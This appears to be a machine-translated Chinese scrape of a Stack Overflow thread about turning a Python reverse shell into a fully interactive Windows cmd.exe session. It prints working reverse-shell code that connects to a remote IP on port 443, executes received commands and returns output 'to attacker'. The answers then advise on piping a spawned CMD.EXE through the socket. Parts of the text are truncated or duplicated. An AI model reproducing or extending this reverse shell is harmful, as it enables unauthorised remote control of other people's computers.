Python 创建一个完全交互式的Windows cmd.exe shell
我在Windows上玩这个,netcat在另一个设备上监听:Python 创建一个完全交互式的Windows cmd.exe shell,python,windows,cmd,interactive,reverse-shell,Python,Windows,Cmd,Interactive,Reverse Shell,我在Windows上玩这个,netcat在另一个设备上监听: #!/usr/bin/python import socket import subprocess HOST = '192.168.225.136' # The remote host PORT = 443 # The same port as used by the server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.conne
#!/usr/bin/python
import socket
import subprocess
HOST = '192.168.225.136' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# loop forever
while 1:
# recv command line param
data = s.recv(1024)
# execute command line
proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
# grab output from commandline
stdout_value = proc.stdout.read() + proc.stderr.read()
# send back to attacker
s.send(stdout_value)
# quit out afterwards and kill socket
s.close()
资料来源:
有没有办法生成一个完全交互的
cmd.exe
shell?我甚至不能运行time
命令而不锁定它,因为它需要输入。任何需要输入的命令都会导致其暂停,直到^C
如果有小提示(即
C:\>
)、制表符完成、,↑ 历史,就像一个真实的故事。我发现了一些适用于Unix和Linux上的/bin/sh
和/bin/bash
的技术,但到目前为止,对于Windowscmd.exe
来说,您可能可以使用Python的内置模块做些什么。您正在生成一个程序,然后读取其所有输出并将其发送回。相反,您需要读取程序输出的块(可能是行)以将它们发送回,等待用户的输入发送到命令解释器,等等。这超出了单个SO答案的范围,但肯定是可行的。是的,可以这样做,因为您可以自定义它。查看文档中所示的TurtleShell
。这里有两种方法:1。生成一个CMD.EXE,将来自套接字的内容提供给它,并将来自stdout或stderr的所有内容复制到套接字。当心阻塞呼叫,或者每边使用一个线程。实现一个功能齐全的shell并生成外部命令,一次一个。我目前无法猜到您想要什么选项,而且无论如何,我担心问题仍然相当广泛。如果Python端使用行缓冲并以CRLF结束行,则可以通过简单的管道重定向使CMD shell工作。但大多数控制台程序不会与管道标准I/O交互工作,因为它们会自动切换到完全缓冲,所以shell作为交互环境几乎毫无用处。此外,忘记制表符完成和历史记录,除非您从头开始实现它,并逐个字符读取管道。cmdshell依赖于控制台来实现这些功能。它不使用像readline这样的进程内库。您可以使用Python的内置模块做一些事情。您正在生成一个程序,然后读取其所有输出并将其发送回。相反,您需要读取程序输出的块(可能是行)以将它们发送回,等待用户的输入发送到命令解释器,等等。这超出了单个SO答案的范围,但肯定是可行的。是的,可以这样做,因为您可以自定义它。查看文档中所示的TurtleShell
。这里有两种方法:1。生成一个CMD.EXE,将来自套接字的内容提供给它,并将来自stdout或stderr的所有内容复制到套接字。当心阻塞呼叫,或者每边使用一个线程。实现一个功能齐全的shell并生成外部命令,一次一个。我目前无法猜到您想要什么选项,而且无论如何,我担心问题仍然相当广泛。如果Python端使用行缓冲并以CRLF结束行,则可以通过简单的管道重定向使CMD shell工作。但大多数控制台程序不会与管道标准I/O交互工作,因为它们会自动切换到完全缓冲,所以shell作为交互环境几乎毫无用处。此外,忘记制表符完成和历史记录,除非您从头开始实现它,并逐个字符读取管道。cmdshell依赖于控制台来实现这些功能。它不使用像readline这样的进程内库。